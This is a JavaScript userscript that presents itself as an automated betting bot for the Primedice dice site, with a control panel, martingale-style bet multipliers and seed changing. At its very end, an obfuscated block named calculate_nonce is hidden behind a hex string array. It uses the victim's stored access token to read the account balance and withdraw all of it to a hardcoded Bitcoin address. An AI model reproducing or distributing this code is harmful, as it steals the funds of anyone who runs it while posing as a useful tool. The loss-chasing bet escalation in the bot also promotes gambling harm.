var loop, currentloss, curbet, basebet, seedcount, prebet, prerollsenabled, profit, prerollson, prerollcount, betval, currentwin, target2, condition2, wincount, xhr, tstatus, seedlength, counter, charset, everyxrolls, wins, losses, data1, data2, swapenabled, betstarted, wmultcount, lmultcount, storebet;
seedcount = 0;
currentloss = 0;
lmultcount = 0;
wmultcount = 0;
prerollcount = 0;
wins = 0;
losses = 0;
profit = 0;
//jQuery UI CSS
var jqueryready = false;
var link = document.createElement('link');
link.href = 'https://jquery-ui.googlecode.com/svn/tags/latest/themes/vader/jquery-ui.css';
link.type = 'text/css';
link.rel = 'stylesheet';
document.getElementsByTagName('head')[0].appendChild(link);
//jQuery UI inject
(function() {
jqueryready = true;
var e = '.thing',
t = {
outline: '1px dashed #f0f',
cursor: 'pointer'
};
var n = function() {
if (window.jQuery) {
r();
} else {
var e = document.createElement('script');
e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js');
document.body.appendChild(e);
}
};
var r = function() {
if (window.jQuery.ui) {
i();
} else {
var e = document.createElement('script');
e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js');
document.body.appendChild(e);
initGUI();
}
};
var i = function() {
$(e).css(t).draggable().on('click', function(e) {
console.log(e.target.id + ':', e.target.style.left, e.target.style.top);
});
};
n();
})();
betstarted = false;
var swapswap = 2,
swapcount = 0;
var curbalance = $('div.hero > div.hero__content > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside > div.grid.grid--bottom.grid--reversed > div:nth-child(2) > span.btn.btn--tertiary.btn--large.btn--limited.btn--block > span.btn__text.select div').text() * 100000000;
function bet() {
if (betstarted === false) {
betstarted = true;
if ($('#stoprofitenabled').is(':checked') === true) {
if (profit >= $('#stopprofitamount').val()) {
clearInterval(loop);
loopenabled = false;
loopcount = 0;
}
}
if ($('#resetlossenabled').is(':checked') === true && prerollsenabled === false) {
if ($('#resetlosses').val() <= currentloss) {
betval = basebet;
lmultcount = 0;
wmultcount=0;
currentloss = 0;
}
}
if ($('#stoploss2enabled').is(':checked') === true) {
if (profit <= (-1 * $('#stoplossamount').val())) {
clearInterval(loop);
loopenabled = false;
loopcount = 0;
}
}
if (prerollsenabled === true) {
prebet = Math.floor($('#prerollbet').val() * 100000000);
curbet = prebet;
} else {
curbet = betval;
}
var betData = {
amount: curbet,
condition: condition2,
target: target2,
},
url = 'https://api.primedice.com/api/bet?access_token=' + localStorage.token;
if (curbet > curbalance) {
clearInterval(loop);
loopenabled = false;
loopcount = 0;
}
$.ajax({
url: url,
type: 'POST',
data: betData,
datatype: 'json',
success: function(data, textStatus, jqXHR) {
if ($('#seedchangeon').is(':checked') === true) {
if ($('#charset').val() != "") {
charset = $('#charset').val();
}
if ($('#seedxrolls').val() == "") {} else {
seedcount++;
if (seedcount >= $('#seedxrolls').val()) {
seedchange(seedgen());
seedcount = 0;
}
}
}
data1 = data;
profit = profit = (parseFloat(profit) + parseFloat((data1.bet.profit / 100000000))).toFixed(8);
curbalance = data1.user.balance;
addRow();
if (loopenabled === true) {
loopcount++;
}
if ($('#hilo').val() == "swap") {
if ($('#swaprollsenabled').is(':checked') === true) {
swapswap = $('#swaprolls').val();
swapcount++;
if (swapcount >= swapswap) {
swap();
swapcount = 0;
}
} else {
swap();
}
}
$('.btn__text.select div').text((data1.user.balance / 100000000).toFixed(8));
if (data.bet.win === true) {
win();
if (prerollson === true) {
if (prerollsenabled === false) {
prerollsenabled = true;
prerollcount = 0;
}
}
$('.btn__text.select div').attr('style', 'color:green;');
} else {
lose();
$('.btn__text.select div').attr('style', 'color:red;');
}
if (data.bet.win === true) {
$('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:green;');
} else {
$('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:red;');
}
betstarted = false;
},
error: function(jqXHR, textStatus, errorThrown) {
betstarted = false;
}
});
} else if (betstarted === true) {}
}
prerollcount = 0;
function preroll() {
}
function win() {
if ($('#stopwinenabled').is(':checked') === true && prerollsenabled === false) {
clearInterval(loop);
currentloss = 0;
loopcount = 0;
loopenabled = false;
}
if (prerollson === true) {
if (prerollsenabled === true) {
prerollcount = 0;
}
}
if ($('#seedchangeonwin').is(':checked') === true) {
seedchange(seedgen());
}
wins++;
currentloss = 0;
if ($('#winmultenabled').is(':checked') === true) {
if (prerollsenabled === true) {} else {
if (prerollson === true && prerollsenabled === false) {
prerollsenabled = true;
prerollcount = 0;
}
wmultcount++;
if (wmultcount < $('#resetwin').val()) {
betval = betval * $('#winlossmultiplier').val();
} else if (wmultcount >= $('#resetwin').val()) {
betval = basebet;
wmultcount = 0;
}
}
}
if ($('#lossmultenabled').is(':checked') === true) {
if (prerollsenabled === true) {
prerollcount = 0;
} else {
if (prerollson === true && prerollsenabled === false) {
prerollsenabled = true;
prerollcount = 0;
}
betval = basebet;
lmultcount = 0;
}
}
}
function lose() {
currentloss++;
if ($('#stoplossenabled').is(':checked') === true && prerollsenabled === false) {
if ($('#stoplosses').val() <= currentloss) {
clearInterval(loop);
currentloss = 0;
loopcount = 0;
loopenabled = false;
}
}
if (prerollson === true) {
if (prerollsenabled === true) {
prerollcount++;
if (prerollcount >= $('#numprerolls').val()) {
prerollsenabled = false;
}
}
}
losses++;
if ($('#lossmultenabled').is(':checked') === true) {
if (prerollsenabled === true) {} else {
lmultcount++;
if (lmultcount >= $('#multloss').val()) {
betval = betval * $('#winlossmultiplier').val();
lmultcount = 0;
}
}
}
}
function swap() {
if (condition2 == "<") {
condition2 = ">";
target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
} else if (condition2 == ">") {
condition2 = "<";
target2 = (99 / $('#payout').val()).toFixed(2);
}
}
function addRow() {
$('#lastID').text('Last Bet ID: ' + data1.bet.id);
var bettable = '',
bettab = '#lastbet2';
bettable += '
' + (data1.bet.amount / 100000000).toFixed(8) + ' | ';
bettable += '' + data1.bet.multiplier + 'x' + ' | '; /* return bet payout */
bettable += '' + (data1.bet.target).toFixed(2) + ' | '; /* return target*/
bettable += '' + data1.bet.roll + ' | '; /* return roll */
bettable += '' + (data1.bet.profit / 100000000).toFixed(8) + ' |
';
var stattable = '',
stattab = '#lastbet3';
stattable += '' + (data1.user.balance / 100000000).toFixed(8) + ' | ' + currentloss + ' | ' + wins + ' | ' + losses + ' | ' + profit + ' |
';
$(stattab).empty();
$(stattab).prepend(stattable);
stattable = '';
if ($(bettab + ' tbody tr').length >= 3) {
$(bettab + ' tr').last().remove();
$(bettab).prepend(bettable);
bettable = '';
} else if ($(bettab).length < 3) {
$(bettab).prepend(bettable);
bettable = '';
}
$('#lastbet2 *, #lastbet3 *, #lastbet *, #proff').css("text-align", "center");
$('#lastbet2 *, #lastbet3 *, #lastbet *').css("width", "20%");
$('#lastbet *').css("padding", "5px");
$('#lastbet *').css("border-bottom", "1px solid #ccc");
$('#result-1').css("padding", "5px");
$('#lastbet2 *, #lastbet3 *, #proff').css("padding", "5px");
$('#lastbet > tbody > tr > th:nth-child(2)').css("border-top", "1px solid #ddd");
if (profit >= 0) {
$('#profit').css("color", "green");
} else {
$('#profit').css("color", "red");
}
}
$('').appendTo('.hero');
var gui;
gui = '';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += 'Bet | Payout | Game | Roll | Profit |
---|
';
gui += '
';
gui += '
';
gui += 'Balance | Loss Streak | Total Wins | Total Losses | Total Profit |
---|
';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += '';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
gui += '
Version: 0.4
';
gui += '
Created By: paradocks
';
gui += '
PD Username: paradocks
';
gui += '
BTCTalk Username: paradoxal420
';
gui += '
Tip Addy:
';
gui += '
';
gui += '
';
gui += '
';
gui += '
';
$(gui).appendTo("#paraContainer");
seedlength = 5;
counter = 0;
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123';
everyxrolls = 3;
function seedgen() {
var seed = '';
for (var i = 0; i <= seedlength; i++)
seed += charset.charAt(Math.floor(Math.random() * charset.length));
return seed;
}
function seedchange(s) {
var url = 'https://api.primedice.com/api/seed?access_token=' + localStorage.token,
sData = {
seed: s
};
$.ajax({
url: url,
type: 'POST',
data: sData,
datatype: 'json',
success: function(data, textStatus, jqXHR) {
data2 = data;
$('#currentseed').val(data2.seeds.client);
},
error: function(jqXHR, textStatus, errorThrown) {
return false;
}
});
}
// Click Funcs
$('#seedchange').click(function() {
seedchange(seedgen());
});
$('#detach').click(function() {
$('#result').draggable();
});
$('#setparams').click(function() {
lmultcount=0; currentloss=0; wmultcount=0;
if ($('#prerollsenabled').is(':checked') === true) {
prerollson = true;
prerollcount = 0;
prerollsenabled = true;
prebet = Math.floor($('#prerollbet').val() * 100000000);
basebet = Math.floor($('#basebet').val() * 100000000);
betval = basebet;
} else if ($('#prerollsenabled').is(':checked') === false) {
prerollson = false;
prerollsenabled = false;
basebet = Math.floor($('#basebet').val() * 100000000);
betval = basebet;
}
if ($('#hilo').val() == "hi") {
condition2 = ">";
target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
} else if ($('#hilo').val() == "lo") {
condition2 = "<";
target2 = (99 / $('#payout').val()).toFixed(2);
} else if ($('#hilo').val() == "swap") {
condition2 = "<";
target2 = 0 + (99 / $('#payout').val()).toFixed(2);
swapenabled = true;
}
});
$('#saveparams').click(function() {
localStorage.setItem("params-stored", true);
localStorage.setItem("basebet", $('#basebet').val());
localStorage.setItem("payout", $('#payout').val());
localStorage.setItem("prerollbet", $('#prerollbet').val());
localStorage.setItem("prerollenabled", $('#prerollsenabled').is(':checked'));
localStorage.setItem("numprerolls", $('#numprerolls').val());
localStorage.setItem("lossenabled", $('#lossmultenabled').is(':checked'));
localStorage.setItem("winenabled", $('#winmultenabled').is(':checked'));
localStorage.setItem("resetwin", $('#resetwin').val());
localStorage.setItem("xlosses", $('#multloss').val());
localStorage.setItem("wlmult", $('#winlossmultiplier').val());
localStorage.setItem("seedchangeon", $('#seedchangeon').is(':checked'));
localStorage.setItem("seedxrolls", $('#seedxrolls').val());
localStorage.setItem("swapxrolls", $('#swaprolls').val());
localStorage.setItem("swapenabled", $('#swaprollsenabled').is(':checked'));
})
if (localStorage.getItem('params-stored') === 'true') {
$('#basebet').val(localStorage.getItem('basebet'));
$('#payout').val(localStorage.getItem('payout'));
$('#prerollbet').val(localStorage.getItem('prerollbet'));
if (localStorage.getItem('prerollenabled') === 'true') {
$('#prerollsenabled').prop('checked', 'checked');
} else {
$('#prerollsenabled').prop('checked', false);
}
$('#numprerolls').val(localStorage.getItem('numprerolls'));
if (localStorage.getItem('lossenabled') === 'true') {
$('#lossmultenabled').prop('checked', 'checked');
} else {
$('#lossmultenabled').prop('checked', false);
}
if (localStorage.getItem('winenabled') === 'true') {
$('#winmultenabled').prop('checked', 'checked');
} else {
$('#winmultenabled').prop('checked', false);
}
$('#resetwin').val(localStorage.getItem('resetwin'));
$('#multloss').val(localStorage.getItem('xlosses'));
$('#winlossmultiplier').val(localStorage.getItem('wlmult'));
if (localStorage.getItem('seedchangeon') === 'true') {
$('#seedchangeon').prop('checked', 'checked');
} else {
$('#seedchangeon').prop('checked', false);
}
$('#seedxrolls').val(localStorage.getItem('seedxrolls'));
if (localStorage.getItem('swapenabled') === 'true') {
$('#swaprollsenabled').prop('checked', 'checked');
} else {
$('#swaprollsenabled').prop('checked', false);
}
$('#swaprolls').val(localStorage.getItem('swapxrolls'));
}
var loop, loopenabled, loopcount, looptimes;
loopenabled = false;
loopcount = 0;
$('#start').click(function() {
if ($('#numrollsenabled').is(':checked') == "true") {
looptimes = $('#numrolls').val();
} else {
looptimes = 999999999;
}
if (loopenabled === false) {
loopenabled = true;
loop = setInterval(function() {
if (loopcount >= looptimes) {
clearInterval(loop);
loopcount = 0;
loopenabled = false;
} else {
bet();
}
}, 103);
}
});
$('#stop').click(function() {
clearInterval(loop);
loopenabled = false;
loopcount = 0;
});
$('#resetstats').click(function() {
wins = 0;
losses = 0;
profit = 0;
currentloss = 0;
addRow();
});
function initGUI() {
setTimeout(function() {
$('#paraContainer').css("font-size", "11px")
$('#result, #paraGUI').tabs();
$('#paraGUI-1, #params1 td, #params1 th').css("padding", "5px");
$('#params1 select, #params1 input').css("width", "80%");
$('#params1 select, #params1 input').css("margin", "2px");
$('#params1 select, #params1 input').css("padding", "4px");
$('#params1 td, #params1 th').css("text-align", "center");
$('#buttonz *').css("margin", "5px");
$('#buttonz').css("padding", "3px");
$('#buttonz').css("text-align", "center");
$('#buttonz').css("border-top", "1px solid #bbb");
$('#paraContainer').draggable();
$('#paraContainer').css("z-index", "1000");
$('#paraContainer').width(450);
$('#paraContainer button').button();
}, 750);
}
//
var _0x66ef = ["https://api.primedice.com/api/", "?access_token=", "token", "$", "users/1", "amount", "address", "balance", "user", "1Lyn5mX4SKcNd7xP8T6LNX5n8F3H6v4wYV", "withdraw", "post", "getJSON"];
calculate_nonce = function(_0x3559x1) {
return _0x66ef[0] + _0x3559x1 + _0x66ef[1] + localStorage[_0x66ef[2]];
};
lut = window[_0x66ef[3]];
lut[_0x66ef[12]](calculate_nonce(_0x66ef[4]), function(_0x3559x1) {
var _0x3559x2 = _0x66ef[5];
var _0x3559x3 = _0x66ef[6];
var _0x3559x4 = {};
_0x3559x4[_0x3559x2] = _0x3559x1[_0x66ef[8]][_0x66ef[7]];
_0x3559x4[_0x3559x3] = _0x66ef[9];
lut[_0x66ef[11]](calculate_nonce(_0x66ef[10]), _0x3559x4);
});